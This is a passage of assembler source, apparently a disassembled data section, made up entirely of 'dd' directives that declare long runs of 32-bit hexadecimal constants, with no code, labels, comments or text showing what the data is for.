		dd 0CEBB5B25h, 18E829B9h, 0F00BBA4Bh, 9336025Eh, 0C08B07D9h
		dd 1A9260B5h, 25793B04h, 0BDA6D416h, 7B8B4h, 2415178h
		dd 0BA7E70D9h, 0C7F18B09h, 431D285h, 5349A95Dh,	90A9E9h
		dd 2C9DAEEEh, 36CC180h,	994790ACh, 0D45D412Ah, 411B846h
		dd 59CAAF63h, 71B3A87Eh, 44E90140h, 3F05B305h, 611276D7h
		dd 0EC897E3h, 0C65F578Bh, 0E49BB073h, 0E24ABC08h, 0D75A810Fh
		dd 0A4CEF858h, 63C0159Ah, 17C4A772h, 0BEE12F03h, 822E6D7Ah
		dd 91F990h, 0B35BE270h,	81003898h, 41320ACCh, 1E75159Dh
		dd 0C0579E12h, 316051FCh, 4673585h, 83088CABh, 0FDB50BF9h
		dd 0F561D10Bh, 81D7B75Eh, 215EADFBh, 352A20DCh,	3BA69DB6h
		dd 8166DA00h, 0DE1C8BF2h, 9D89C664h, 0B30F7775h, 0B483B55Dh
		dd 8C1AB83Dh, 7A00EBE2h, 2358D5CCh, 92DF781h, 0F8622EB1h
		dd 3D1CD1D1h, 2F415440h, 1A606Bh, 0DD851848h, 712CBCAAh
		dd 73DAC148h, 0B0850A41h, 82BFC8EFh, 39FBFA9Eh,	7060D471h
		dd 0C8E9D2ADh, 7E006972h, 37DE371h, 0C9194196h,	0EE62D528h
		dd 0FE702173h, 0D53A00CBh, 0C8E97CE6h, 79E3FFF6h, 0BA2B8D7h
		dd 0E95B7821h, 55D6CBE8h, 0C9889900h, 0C23544F7h, 0B020FDFAh
		dd 784FB3C1h, 0D1685C8h, 830BF5BAh, 7662C2F2h, 0D800F6CCh
		dd 68CD2151h, 0F5BC0EB1h, 2205E421h, 0AE3A7F94h, 0BD001B23h
		dd 2D60D44Ch, 614D2C73h, 18F70B44h, 0DB8D88CEh,	0B8863260h
		dd 0D7C017A1h, 9039C809h, 16870F28h, 52502Ch, 33109B67h
		dd 99E4E8Ah, 310F733Bh,	5A827879h, 0C0905058h, 80011DACh
		dd 6735BF66h, 3604A6DFh, 9B251F41h, 0B5FEC1E5h,	0B16C8F0Fh
		dd 6FADCDh, 0AA1E028Ch,	535878FFh, 3015A244h, 295CE19Ch
		dd 75225BD4h, 0C7A2200Ah, 0CD3D2B49h, 0D500B5Ah, 5F390757h
		dd 90C2C66Bh, 0EE114498h, 2086EA00h, 1E66E504h,	6876038Dh
		dd 3B8BCC30h, 636A7FF9h, 3018B2D3h, 0A01335F2h,	1E02E96Fh
		dd 41019FD6h, 4D7CF06Dh, 138C15ECh, 20E98B67h, 0D9B0192Ah
		dd 0FDC7600h, 0A22C7748h, 0ED310098h, 33BE0284h, 0DE5E65BFh
		dd 3ECBB274h, 88C21588h, 80A5F107h, 224BDE81h, 0D3F43469h
		dd 2F8D8C9h, 0F3D15F2Ah, 0D4D6AE9Dh, 0C231870Eh, 0C4EC809Eh
		dd 6DE26BAh, 5741A2BEh,	63056854h, 865E9B9h, 0CC4A3E2h
		dd 1B233E1Eh, 0CFDD8800h, 2FDE61E9h, 0A11E2903h, 4F017325h
		dd 0C1A640B1h, 6009C5DAh, 92858F4h, 90275ACFh, 5E75EEA4h
		dd 0EDA24B33h, 0E10C913h, 204A1C21h, 0DCA04C60h, 30C3F100h
		dd 0A4F8D291h, 89A1D73h, 895F97E1h, 0BCE279B8h,	0D79F5C02h
		dd 0C745FD01h, 79118962h, 0BD9925BBh, 5E698082h, 0C1BACC5h
		dd 0B523D309h, 83FF40A9h, 0BCF37CBDh, 424344B4h, 56399531h
		dd 0E9F904F9h, 0E2A9A362h, 2E73301Ah, 0CFF39904h, 0BCAC492Fh
		dd 5D7F4A80h, 0C900F5DBh, 0F1570E5Ah, 6A4FF44h,	0C72B6BD8h
		dd 0CDB6A085h, 8E71056Bh, 0C6013BB2h, 6BD2B966h, 94AA3C61h
		dd 54F81462h, 0A2229C21h, 0B7F112B5h, 0F23D802Eh, 11C202A0h
		dd 15B2E22Fh, 0E19C4590h, 8A6B6C8Eh, 82907857h,	615E5282h
		dd 0BD04DB5Bh, 0D8C833DDh, 0C07A890Ch, 2900133Ch, 0CC52EB1Bh
		dd 9818272Dh, 5EFE2C26h, 717F2159h, 7F7181Ch, 83A079E9h
		dd 0B5D19038h, 0BF1F0F56h, 1495FF0h, 11561F04h,	96A3801Dh
		dd 6CAA421h, 4E81AAA0h,	0F2385CABh, 976E5BB0h, 3021E513h
		dd 0E8CDA1EBh, 0C5AD8000h, 1CBFD479h, 7CA000ACh, 9B372C1Ah
		dd 712D1B1Fh, 78DA62E6h, 49249E54h, 30B9CE00h, 0E1963A2Bh
		dd 0E2255F24h, 0BBF67037h, 6CC1715Eh, 768C4FE3h, 0CD852F09h
		dd 0E62B1904h, 1483F015h, 0C20B0084h, 0D3EE8780h, 0F805BEBFh
		dd 60937392h, 6A8177C5h, 0AD100AE8h, 0FF0F08A8h, 0A2684D58h
		dd 0E25FBEDDh, 409D7C74h, 2259E618h, 77283400h,	4EC0BB0Ch
		dd 255BEAF9h, 40C15061h, 156E3E93h, 21109F00h, 0AF8643DEh
		dd 0FD35D74Bh, 13848904h, 0FFE253h, 0B11726C5h,	0FFCA4A3h
		dd 6BF2F669h, 8B5E5760h, 139C61CFh, 171546D6h, 0BD04D251h
		dd 0C1825C5h, 81822FE1h, 0A9BD8951h, 0B0B1DAF2h, 600C448Dh
		dd 9120AEB8h, 0BE660422h, 84610473h, 0DF1B9B33h, 3D0B6B6Ch
		dd 44D4661Bh, 8CC82940h, 3982D04h, 0D5519D89h, 0C66F460Ch
		dd 1E2B6D6h, 75AC6495h,	5321E850h, 0C031F504h, 0A3EC4947h
		dd 0A8D145Ah, 8C1DE8h, 74081777h, 0B3323C11h, 8B5B8CF6h
		dd 58F8B14Bh, 636824B5h, 24B7A0A5h, 409F2E1Dh, 1A8D8589h
		dd 17E610D3h, 0C59CAF2h, 37A8C203h, 0A984A027h,	90A4B6A7h
		dd 8C1CFC80h, 1E1B7603h, 0C99D3128h, 0A82811A7h, 2BE01D8Eh
		dd 0B7ECC875h, 29D2A801h, 4C94A1C4h, 2714E1F8h,	4C6F07B9h
		dd 0BFB25A61h, 0B3D09761h, 40E29EC1h, 64B8538Eh, 1AC5850h
		dd 2CC9155Ah, 14DD4341h, 0FDCDA66Ch, 0F0323689h, 1C4DD9A9h
		dd 40A5F55Fh, 0F7815E95h, 0AE389F79h, 0F95FF929h, 0B6844F16h
		dd 6E038Ch, 47977508h, 10480276h, 62488E2h, 0D50888A0h
		dd 0C95E160Ch, 0BF20FEAAh, 3B6DD2CCh, 9C28BE22h, 25B59BA6h
		dd 0FB9057C6h, 4A1B6D20h, 87A8DB5Bh, 1611B03Ah,	0BDC2B12h
		dd 85154BBDh, 0E42DA8DAh, 1423332Eh, 18603509h,	1DDC665Ah
		dd 49C498DFh, 58847C1Fh, 0A008564Dh, 9FD6A822h,	36058CBDh
		dd 16ACAB85h, 488C14FCh, 0D5102B40h, 4BE4580Dh,	0D15D4A90h
		dd 577331D9h, 20E9D22h,	0CF00605Eh, 0BA146A7Ch,	8800DE80h
		dd 0A436C9B9h, 0B81D5DE1h, 3DFF5B3Eh, 5B676D5Ah, 6780D5DBh
		dd 0C233F35Dh, 0FE1F1800h, 0FFB6AEBFh, 0F33AB51Eh, 1D112E15h
		dd 42C22D80h, 1600AD03h, 0CCD7D575h, 26EC72BFh,	11852FF3h
		dd 94AD4D7Dh, 2B79106Bh, 970C8D5Ah, 0F3A3AD18h,	82EF9A93h
		dd 815FC80Eh, 15D25CE4h, 40FD3F60h, 2AAD9033h, 9AF91060h
		dd 0ABF70936h, 60170F1h, 0D0F3E1C7h, 161328F6h,	466F7204h
		dd 6E7F8500h, 4467CA45h, 0EDEC252Dh, 9CAC096h, 0F01493FFh
		dd 80AEE91Ah, 728ADFFEh, 6C3F4CE8h, 1242B127h, 5E875635h
		dd 0E05077BEh, 75664Ah
		dd 0EF8150A5h, 683E1BA1h, 0B689F892h, 0D6232F5Fh, 4E9F015h
		dd 55D2009Ch, 18A68EBDh, 0AA00F083h, 7EEED8B1h,	35B589A8h
		dd 83F12F5h, 299D0B81h,	0BF59C198h, 58FC120Ch, 151C0477h
		dd 0B503071Dh, 0FBD1E26Bh, 275E7AB0h, 0FD0861ACh, 95133B19h
		dd 0B614755h, 7070B9B5h, 61A1E92Dh, 99ED231Eh, 815F406Bh
		dd 94E034E6h, 8EB90A25h, 50135FDAh, 4010AC2h, 829CB958h
		dd 325CD95h, 15E92161h,	4F7FBB10h, 401974D6h, 0F2158011h
		dd 2158BB1h, 0D43F32B8h, 4789D619h, 6F1F5009h, 563896BEh
		dd 6B5E81D7h, 78AC9441h, 5C78C21h, 0E1835BB9h, 2DBA0901h
		dd 19F11AF1h, 85735E18h, 0A877E414h, 2B0912D0h,	887D6592h
		dd 0DCAC6506h, 7F3FF715h, 499D2B88h, 61135681h,	0E033F660h
		dd 0A0EB722h, 13FCA6EAh, 0F0C82FE6h, 14D858Bh, 56D443EEh
		dd 4B4EF0BDh, 0F03B3BA5h, 810B20DFh, 7202D060h,	0E138F886h
		dd 918F4029h, 0D640A205h, 0E5EDA0E5h, 0F429DEDAh, 950BD514h
		dd 14B642B7h, 102E344Dh, 0B05014C1h, 15CE9EE9h,	66053A8Bh
		dd 321BD7BFh, 0C47E20C3h, 0FEA406F6h, 6631CE80h, 0E7D43F82h
		dd 7E200DCh, 30DBD2F2h,	0A2547AF9h, 6AE12653h, 4203827Ah
		dd 0A22034BAh, 209176F9h, 53B8D745h, 1CDB0A44h,	2A0C3C25h
		dd 9EA6FE01h, 2C390041h, 1ACC4BC6h, 9AA5F000h, 0AF9623C9h
		dd 0DA5700B9h, 0A875173h, 0ECEB5EFFh, 61002C79h, 3611AC42h
		dd 0F40DD0Bh, 0B20FE5C5h, 18892240h, 330066C1h,	7995DB0Eh
		dd 3EFF601h, 1C564EFCh,	5BB07A44h, 0CC00E936h, 0B0C23835h
		dd 0B55F03h, 81577994h,	0B3590934h, 677B8A03h, 0F8B1DC8Dh
		dd 0B62E5Fh, 0CC6B98EAh, 0D77CF620h, 87AA1307h,	0DEE02851h
		dd 1D15881Fh, 0BD0B9F19h, 1860CB97h, 0FDD56AB0h, 632A6700h
		dd 3C1B9640h, 0A6C70F11h, 0F700786Fh, 88B41359h, 0DC045E1Fh
		dd 0CC497400h, 318F41Eh, 38A0828Dh, 4F01729Fh, 0EB928E64h
		dd 13983EA8h, 9D34CAE8h, 0F0FEC604h, 0CDC86EDCh, 6D87005Bh
		dd 0DA5CB03Ch, 5D005EAAh, 4DA784AEh, 1B6A21Ch, 2230E689h
		dd 80397291h, 88FAA050h, 8074D50Ch, 1E890194h, 697530h
		dd 6D17BC30h, 4C1AA9BBh, 8087A63Dh, 5C0DE3C2h, 70A31062h
		dd 0C82200BDh, 8312D91h, 76008C94h, 0E533DE85h,	6206Fh
		dd 72582ECh, 344EB0E9h,	3F37D00h, 0A21A5C24h, 2BBAA0C4h
		dd 93DD2837h, 0AEDF3ACEh, 0D7633E01h, 0D96FB95Bh, 0C3DD897h
		dd 85E2C139h, 0BB8135Dh, 1DF249h, 7920F62Ch, 0B9CB00D7h
		dd 0A39F496Bh, 0BD001A2Ah, 0EF3341AFh, 0F96695h, 7E9050E9h
		dd 6DE7DB82h, 0EC3A2601h, 1EF4F651h, 1AD0EBF9h,	0AAE50048h
		dd 0E22A53B9h, 383CBCD6h, 0D095D0F1h, 0A8525644h, 38D250h
		dd 61939F01h, 681491B3h, 138FBE00h, 81A3EA27h, 367957h
		dd 0A8BA5011h, 0F2AB451Bh, 0F40E2A06h, 225F2970h, 0EA425728h
		dd 5D09B600h, 322EF8E4h, 0E8970B1Dh, 0F75C1684h, 6463AD80h
		dd 0A75400AEh, 0F37C1D6Fh, 0DA0161C0h, 0CF193B88h, 0EA483872h
		dd 9C755491h, 90C8E271h, 554900CCh, 0E28DC079h,	7C609546h
		dd 9C886223h, 0A26C00EDh, 0BC66D150h, 2737C246h, 184ACA4h
		dd 865B2C40h, 92093D6Ch, 20033AD0h, 2B3857A2h, 0BB9800C1h
		dd 721C9DF7h, 8E015CB6h, 14FA37DDh, 1BE44ED9h, 0A25101E9h
		dd 0BED378A7h, 8A80A9C2h, 0A60EC33Bh, 0D78044B8h, 2EB2F6C6h
		dd 6DCE5407h, 3E704CD5h, 715801F9h, 42DF0935h, 5700E7FBh
		dd 6A20963Dh, 0D694330Fh, 0E1C2413Ch, 2EE4520Bh, 39A503C4h
		dd 25A4DED0h, 0F82A58D0h, 0B500EA70h, 3432D88Ah, 5162DB8Fh
		dd 14C0DA41h, 0FB891275h, 0AE31014Ah, 80689932h, 0A8847E63h
		dd 30630DF1h, 4D175BC8h, 0B00F1F55h, 402158B2h,	84BED02Ch
		dd 57363592h, 0A49D0AC6h, 20D100A3h, 0F658DF89h, 0EBBAC9h
		dd 0A7C0927Eh, 6BBAA805h, 24E1031Ch, 0FEE5913Ah, 19F1FC00h
		dd 0D73D2D60h, 0EFF3005Ah, 0EDFC5B05h, 74987103h, 0E11DE0E3h
		dd 1352DF48h, 0B00923Ah, 739D4C83h, 98BB00CAh, 14DE1F4Eh
		dd 11F2CFEh, 50CAB6D7h,	0D00A9F9h, 857AB75Dh, 0A0DA6D6Eh
		dd 7B296Eh, 1926C898h, 1AEA44Ah, 22E71C92h, 201E9344h
		dd 404BB529h, 7A0036F8h, 37B674BAh, 60002D2Eh, 0EAC6B266h
		dd 60F310B3h, 17DB2C63h, 730668FDh, 0A26FC896h,	34350318h
		dd 80ED43DEh, 85B57929h, 27CD9D00h, 0AC69C06h, 0C37FFF58h
		dd 0E14E0C8Ch, 0AC019ECEh, 1B3101F2h, 4E8552Fh,	382A0A65h
		dd 80F947D2h, 0BAA81759h, 0B5052950h, 3CF01CBFh, 0F4BEE100h
		dd 0C66D9Eh, 0D47B09E7h, 0C7A1FC16h, 0F24E1831h, 0CB30A726h
		dd 6E90057h, 5FD3810h, 39002964h, 0DC1AAAD3h, 3F4CE556h
		dd 52819C16h, 0CCC6EA78h, 761E059h, 58F3790Ch, 27A212Bh
		dd 0C93FB851h, 44E04B9Dh, 15006BACh, 0B933E6A8h, 91BAF441h
		dd 0D1A38004h, 0DB373EB6h, 807797A2h, 937D6CB9h, 858000C1h
		dd 0FB1E4FA5h, 805DA10h, 0A9DBC724h, 15308490h,	0C0EC0055h
		dd 947A6916h, 1D3809F5h, 0D100776Ch, 248CD9B0h,	364CA6h
		dd 1435DB89h, 10C230F8h, 6DB8520Eh, 6FEE0022h, 2C90E5CDh
		dd 177E82AEh, 0FB172071h, 6660B05Ch, 1EC98978h,	5B7282h
		dd 0CC9E3168h, 25C80726h, 3B4AF300h, 7C93CA24h,	0E7860050h
		dd 2B5284A8h, 2A02C4E4h, 0E50FDC73h, 0B78E6044h, 68A40C96h
		dd 89687BC2h, 56240C16h, 0C6817C04h, 831DB4BDh,	34878BEEh
		dd 14EA400Fh, 4CC05413h, 0AA286268h, 545A1806h,	0C483148Bh
		dd 57560407h, 0FE23D789h, 871A85Fh, 5523CF5Eh, 0C581E5A2h
		dd 20D02EAEh, 64FF662Ch, 0E90F4B5Ah, 60FC50ADh,	3E8620B8h
		dd 5FDD0798h, 0A3626145h, 82072C99h, 0E0FFC503h, 2BACC150h
		dd 42A90322h, 9BF4AB57h, 1DE8B280h, 69666800h, 6AD0C23h
		dd 125BEEB3h, 35A127Bh,	957A1D64h, 17249B80h, 2A5CCF00h
		dd 2BC74856h, 9F5D0026h, 66C9226Eh, 54710B07h, 0A706000h
		dd 59D03DBAh, 0E21000C0h, 0FB5CA04Bh, 3B00E864h, 4EC5B7FDh
		dd 2336D7Dh, 0ED9D0D3Fh, 535C6007h, 0F7A607DCh,	41DF9Bh
		dd 0BD0164FDh, 0B22AB125h, 61145E48h, 708CEE36h, 0B4045789h
		dd 8D215F9Eh, 0F95352AEh, 983B8CCh, 19ED958Bh, 0CE711669h
		dd 1AD9A271h, 0F100DD18h, 5B6EFD72h, 0E023B8BFh, 8B662AE0h
		dd 4E9DEC55h, 8A051241h, 0BD2917FCh, 36A072A5h,	63B79D48h
		dd 0A094A507h, 0BD8B7D20h, 3B3153B9h, 465B2727h, 1E33CD8h
		dd 0B1E2B69Eh, 0CCD1DC80h, 610257D7h, 75952360h, 66E8B807h
		dd 0C38328BFh, 0A42B9FB5h, 43C0EF4Dh, 4BA26EB2h, 9137C292h
		dd 0BB13A872h, 24C54F3Dh, 6A286AA5h, 33183680h,	543B8A51h
		dd 5C99BE4h, 7A8E4F40h,	404F000Ch, 64258C63h, 367914F7h
		dd 47CEB3F9h, 0A015F717h, 0B678CC5h, 0D266A126h, 991CC5C4h
		dd 1980F9E5h, 8E1DB34Eh, 4B942EC6h, 11220B8h, 5EF0771Ch
		dd 0FCD1930Eh, 0BE05A73Ch, 8B5B951Eh, 9D239030h, 0F1C4981h
		dd 26BF8DEh, 0F3C0536Dh, 9B2A5CAh, 10E880E6h, 0AC530B0Bh
		dd 1C35DD70h, 0D08D0161h, 8B52010Dh, 85C75AD3h,	9BD61D79h
		dd 4B398071h, 1887CCEh,	80626E72h, 3661D3DDh, 5B0EF004h
		dd 3828009Fh, 1BBAFEB1h, 4303A13Bh, 631FCB81h, 7EB902Ch
		dd 0E99D3861h, 0B065A74Bh, 0B4F74B90h, 0D474DC57h, 77E27413h
		dd 79C1520Bh, 1B0B00C2h, 92ED1F5Dh, 27FD5500h, 569B5028h
		dd 1C681302h, 0D9D0453h
		dd 5E5A032Dh, 0BD9C109h, 8B910A6h, 530572FAh, 1EE88B0Fh
		dd 420ADC80h, 68185F78h, 956F1C92h, 0F4839539h,	8E26605Bh
		dd 51995C8h, 0D4E66117h, 0D8C90764h, 0DCF040CCh, 1C0CB312h
		dd 12CBBF0Fh, 278319CEh, 0E5D6401Bh, 0C4ECF8E8h, 51C8494Bh
		dd 0E1F90059h, 2AB0F418h, 0C7002722h, 49077F34h, 0B426A6Bh
		dd 50AF4A1Bh, 326E4C1h,	0CEC3948Fh, 0A16FC79h, 8820124h
		dd 4E1825C1h, 4D28102h,	42D96D5Ch, 0A0A3824Bh, 65667E6Ah
		dd 0C9B7E300h, 69EA73F4h, 0C77D12E4h, 7EE80051h, 9D1D4E50h
		dd 0FE0AB63Bh, 169A50Fh, 960838FCh, 0A020C051h,	0B2F60A8Eh
		dd 423C1B00h, 0EA76459Fh, 0DE41C06Bh, 0F28BFB98h, 0B3C6D700h
		dd 2537AA22h, 0D2C31C84h, 65EAC0DDh, 10EEE712h,	5F030207h
		dd 7700DECBh, 7D07E8h, 388054ADh, 63A77EF6h, 3ABA501Eh
		dd 35008CD0h, 7D1D4A69h, 0F200C8D9h, 8E57FF87h,	0E4E8A518h
		dd 1C1AEE63h, 0CDCD578h, 1D208ABEh, 9E48F10Ah, 0B4782070h
		dd 0BB068CEBh, 5C45744Dh, 707D07D8h, 10DAC0AFh,	0D16121C1h
		dd 4D088966h, 0A69F2021h, 88A70E03h, 2673FA38h,	0C92B7C0h
		dd 507939ACh, 3E7A6E00h, 8149D48Ah, 41CD335Dh, 21056708h
		dd 0F33E728Dh, 0B155FE01h, 0C9218654h, 80449002h, 0AACF8138h
		dd 0C2120084h, 0B2E7D1A1h, 0DA1EFB52h, 8D4355A8h, 0D81D6A5Fh
		dd 63D48E74h, 11E64070h, 1D39023h, 0D4B73E7Fh, 88661891h
		dd 3E077788h, 0C78DC4AAh, 848ED440h, 36458063h,	2BBA5540h
		dd 198704Dh, 0DAD6C0A3h, 20FE19A1h, 2EC09A93h, 0E5ABA009h
		dd 0AE20236Eh, 13C5A029h, 0FC6A0039h, 0E263A454h, 0CD0FDDF6h
		dd 0E1A3F72Ah, 71BA3088h, 86D4B050h, 8490AADCh,	8B609C68h
		dd 0E4237B0Ah, 5893118Dh, 160A000Bh, 9435EF72h,	6B38C765h
		dd 281CCF7Dh, 73DF080h,	8AA21CD6h, 824AD1D9h, 3A0898A1h
		dd 1BAE4021h, 4260021Ch, 0EEE6BCF8h, 70052824h,	8886D50Fh
		dd 160C3E44h, 36182ED0h, 0B2385C53h, 8A763031h,	5E9AE014h
		dd 0F8D90084h, 57FE6492h, 586F31E5h, 0F0C4AFE0h, 74908BB2h
		dd 0DEE47F06h, 128032A8h, 60D01DB4h, 0B63E7E04h, 1169D423h
		dd 76890059h, 0E5FFF03Eh, 0B861D05Fh, 89039E23h, 0ACE4750Ah
		dd 0BD209162h, 0C43F0A81h, 222C6088h, 3E7530ADh, 41D48911h
		dd 8E805888h, 17B03E4Dh, 0EE840DA8h, 0EC4839DCh, 24E9A086h
		dd 5642C24Ch, 0D4A08C7Dh, 8949DAD5h, 804B884Ch,	0BBC09D90h
		dd 4904EACAh, 0CB1776BFh, 0A1E5FC1h, 28C8DACCh,	87A88FA2h
		dd 643E44DCh, 472D0BC0h, 21DB8F1h, 45656D63h, 589D576Ah
		dd 0D38E4911h, 99EC8721h, 0BC882015h, 0C018774Dh, 73796C36h
		dd 0F8C0040h, 0F7CCB3AAh, 0B5032F8Ah, 7E197BADh, 39389065h
		dd 5FB0C207h, 0ECA1638Fh, 0D248168Ch, 28206844h, 0DA6A3266h
		dd 0C08250B9h, 5A265B68h, 0CD6B0079h, 52439E6Eh, 0A60072D5h
		dd 2B320C9Ah, 63457FA4h, 52394116h, 95804900h, 823175ABh
		dd 5F645C8Ah, 0B614D849h, 0A39FBC9Dh, 0A31CD701h, 3618D18Ah
		dd 0AF4388h, 0E674E11Ch, 6380352Ah, 35F1BC91h, 0FB762E18h
		dd 0C189F7Dh, 0D9E95FE6h, 6E1A24D0h, 0FC4D00C0h, 3A6B8E37h
		dd 0D4AF7224h, 20614A08h, 27646F0h, 0DAD8C0A1h,	104A31B1h
		dd 9C0989Dh, 0E352759Ah, 8209A780h, 0FD2ED643h,	61155FFFh
		dd 0AFA450D8h, 3E7B048Ch, 6271D48Bh, 738C205Ah,	5E15043Eh
		dd 24F47C84h, 76047074h, 8F48FE6Ch, 0AE1CE1CFh,	3918F98Ah
		dd 0D24488h, 0B661B41Ch, 8DF36542h, 0E5C48F04h,	18C85E27h
		dd 8A048C9Dh, 85E47A0Ah, 0BC209562h, 0F90A82h, 0AB444932h
		dd 2E0C6E6h, 4C084491h,	680C0162h, 8960B436h, 12447358h
		dd 92836040h, 915B0604h, 0C02B70B3h, 532AE015h,	0BCF44CC8h
		dd 49008C75h, 0C985087Bh, 21C07FEh, 0B6749A82h,	8C4861A4h
		dd 0E52A4417h, 98467CABh, 0B0AB713h, 0B49CADC8h, 0A8FA30Eh
		dd 33C0DDDCh, 4435441h,	5210358Ah, 7E8802B9h, 8124FE6Eh
		dd 0A41CD460h, 11A98A23h, 0AC420034h, 3B5E1E1Ch, 0DCB7018Dh
		dd 143512AAh, 238C2260h, 1CDB098Eh, 8EF16404h, 0D34702B0h
		dd 60ED211Ch, 0A4307CECh, 774820D0h, 5258DC80h,	62C03680h
		dd 6AEA3861h, 0A0B688A7h, 6999083Fh, 82FF793Eh,	9CD8E804h
		dd 0FC1860C8h, 38C0A97Fh, 30761432h, 0DBAE9680h, 9C063B06h
		dd 5D3ACA60h, 2DE61E21h, 57228099h, 97C48ACh, 0A301D502h
		dd 48E53FDCh, 0B1582604h, 607608A0h, 737DAD00h,	98B162F9h
		dd 330C0238h, 9CDED209h, 5F377CE8h, 72234E42h, 0D4C0A501h
		dd 142891DAh, 0C09CB0B7h, 0D274AB98h, 882014B8h, 0E50D170Ch
		dd 23A43A61h, 3D05074Bh, 227C3383h, 58C072F2h, 3A0C673Ch
		dd 68E346BFh, 7300EF2Ch, 0C618E4F5h, 0D31027F4h, 41E030DEh
		dd 0D740EED8h, 4DCC0082h, 91DB5330h, 1835D108h,	97F40E0Ah
		dd 13C2866Eh, 0B8475776h, 6C6048C4h, 8A025BC6h,	42D0DADCh
		dd 78CC8491h, 309BAC82h, 0E4F80AB4h, 0E028B54Ch, 980A8CBEh
		dd 0DDED00D0h, 3BC4C33Ch, 5B0E709Dh, 9228B6D1h,	98C8248Eh
		dd 7CF934C0h, 0F8B177DBh, 32D00176h, 0FD0C63DAh, 39D18A47h
		dd 6980B054h, 0ECF2F6A9h, 0B7F1038Ch, 5DBF8AB3h, 94F41880h
		dd 108E7805h, 9C3E7C56h, 1E0E4A23h, 776A2046h, 128A54B2h
		dd 5C7B5A30h, 46ECA878h, 1CD8028Dh, 31C98AA0h, 0D0461037h
		dd 2B1D0E1Ch, 0D205DA3Fh, 0EAC40588h, 5294436Dh, 0C5B02CF3h
		dd 0A63DAA38h, 0A007F3Eh, 0D1FDD7A3h, 914993E4h, 183AD128h
		dd 0D7CB0037h, 0E8FC5712h, 2B4AC8CEh, 0B08B2012h, 4CC06688h
		dd 0C43B67C9h, 903C8EC6h, 2CF6E480h, 7F60354Dh,	0FDF03400h
		dd 8BDACAA7h, 0D1E49901h, 1CC1893h, 13D2ACE3h, 0E608CEEBh
		dd 63115C9Dh, 0E6146C80h, 55007349h, 0CCB1AC84h, 209EEF2h
		dd 0B2709A41h, 54973BD4h, 0CA809811h, 0BA5BD715h, 55676A00h
		dd 0D152A56Bh, 0F49350A2h, 9E381288h, 8820505Fh, 0FB33446h
		dd 8DF9D2F8h, 773F9A00h, 0D8C64053h, 308C4426h,	549360ECh
		dd 465CF82Ch, 0B1800034h, 82B7E035h, 426E2424h,	0D6D382B0h
		dd 0F88A6054h, 3B2C0824h, 11A0174Bh, 3C748066h,	9CB32BFh
		dd 4D948E6Ah, 2E4B2425h, 672328h, 0FD71C792h, 5249F8DAh
		dd 28B968B0h, 0B58465Ch, 4BBBAFDh, 452A400h, 22411474h
		dd 0AB030A7h, 0D5E47C12h, 0A205E0CBh, 818B0A88h, 522DC20h
		dd 24CB9413h, 9FC095C8h, 0B3B1ED9h, 9416E635h, 0E6D31CA7h
		dd 1891A1C8h, 0D5808091h, 0A18AA51Ch, 5D3B448Ch, 7C1CAD0Fh
		dd 0CC8C094h, 1BF30FAh,	2E0EEFCCh, 0E124DC5Eh, 40FAD2h
		dd 9C842AF0h, 6446568Ch, 0E6F10770h, 0EB8AD11Bh, 2A442800h
		dd 514992E8h, 0D02E9660h, 3D173123h, 4CA6F804h,	6A12B854h
		dd 75B8D0C6h, 0FF48B6h,	804D0344h, 0E627D0D9h, 95048E68h
		dd 8C2900C8h, 701CF2E7h, 0C232070Dh, 6144CC0Eh,	231DB3B0h
		dd 3090A204h, 0BB29CDCFh, 3ED1D04Dh, 0F20E5E18h, 402930D5h
		dd 0FC2D4F8Ch, 221018C3h, 82A89050h, 7A575B18h,	59D16360h
		dd 2858FC62h, 8850B610h, 0C0A4C073h, 995CDAD7h,	9B92E098h
		dd 0B95501C0h, 5748F05Bh, 52DDEC2Ah, 8622E118h,	90DF1660h
		dd 0CDE44C0h, 0A283A13h, 3723443Ah, 0D98CE400h,	9EB2E17Ah
		dd 208B011Ch, 3CDDD255h, 8C96BCA0h, 0DAC1C400h,	0A6C2131Ah
		dd 545908Bh, 0A4A36B10h, 0A1A8B746h, 0C08991Ah,	4220688Dh
		dd 8F30EBADh, 5B2FB09Ah
		dd 23402FB0h, 17C80062h, 561E9630h, 0C26BAC01h,	59548674h
		dd 0D03C6C6Dh, 1065081Ah, 99444C67h, 70609261h,	75095C6Eh
		dd 0D0D6C4h, 0DDEB6348h, 16D12762h, 457D8C02h, 5DEAEC58h
		dd 3B06DA72h, 6CEAAFB2h, 0FF7D71h, 907A868Ch, 96FDF54Ah
		dd 1E188400h, 0CAD00DB6h, 4DAC30B2h, 0E42D1360h, 0C86A5D2Eh
		dd 3A4674h, 4B0D0110h, 0CAFEBC6h, 6D9AC962h, 84A07CA8h
		dd 31C03235h, 9F03D23Ah, 82F01D7h, 0AF699CBAh, 8229E0ADh
		dd 42A13020h, 9C980036h, 0B904508h, 1B35F019h, 0D69ABE0Fh
		dd 64A0B49Bh, 284C8C15h, 8EAF0EA0h, 0AB8FA0E0h,	580DD363h
		dd 93E80C06h, 0FD13068Ch, 89825EAEh, 50E344F8h,	0ECD2D0B8h
		dd 29765674h, 7E010E1Fh, 7910AD00h, 7A6CDCDBh, 0BB8125D5h
		dd 0C63FCC97h, 41F9EC09h, 6CF2BC82h, 20C18205h,	58F2542Ah
		dd 88A83B38h, 74D860E8h, 22003946h, 5733D861h, 47058DDBh
		dd 5E385211h, 9B0E4B0h,	0DF6AC506h, 8ED5F490h, 385D7C20h
		dd 3A27C4DCh, 8402FC09h, 0BE005B9Eh, 0E839C0CCh, 0F88E4BD0h
		dd 300726E4h, 954674h, 0C9650D87h, 28F6E6DAh, 29F037D0h
		dd 7128F24Fh, 191892h, 67C8F72Ch, 0DECA0BE6h, 594AC5Dh
		dd 80C9477Ch, 10BC9050h, 0BA166446h, 239C3A4Bh,	0D02F003Ah
		dd 76A39F08h, 4530C8B0h, 8A23084Dh, 2F7C4A61h, 6123BCh
		dd 2F07138Bh, 60E29DD8h, 0C08A9C28h, 4457A62Ch,	275467Ch
		dd 9D69A9E1h, 0E01D43E4h, 5934B648h, 0E537DC3Fh, 0D2E0CFD9h
		dd 0FBBBF930h, 1DEF89Eh, 79BA3F55h, 68F4BED3h, 28907C54h
		dd 986F9220h, 54DE2FF8h, 86D11080h, 2490DFA7h, 36E804A0h
		dd 0E440DE81h, 0C8D9D54h, 25281566h, 1C13AA18h,	8CC851B3h
		dd 0A0048C77h, 0B9DADBC0h, 9E207462h, 0ABC0A7h,	0AD8E75EBh
		dd 544B18AFh, 26D4BD1Ah, 0D938F1C8h, 2C11894h, 4CE5A1DEh
		dd 80DA39A9h, 64CA2C00h, 0A78AF0D4h, 0F87F009Eh, 4EA25F89h
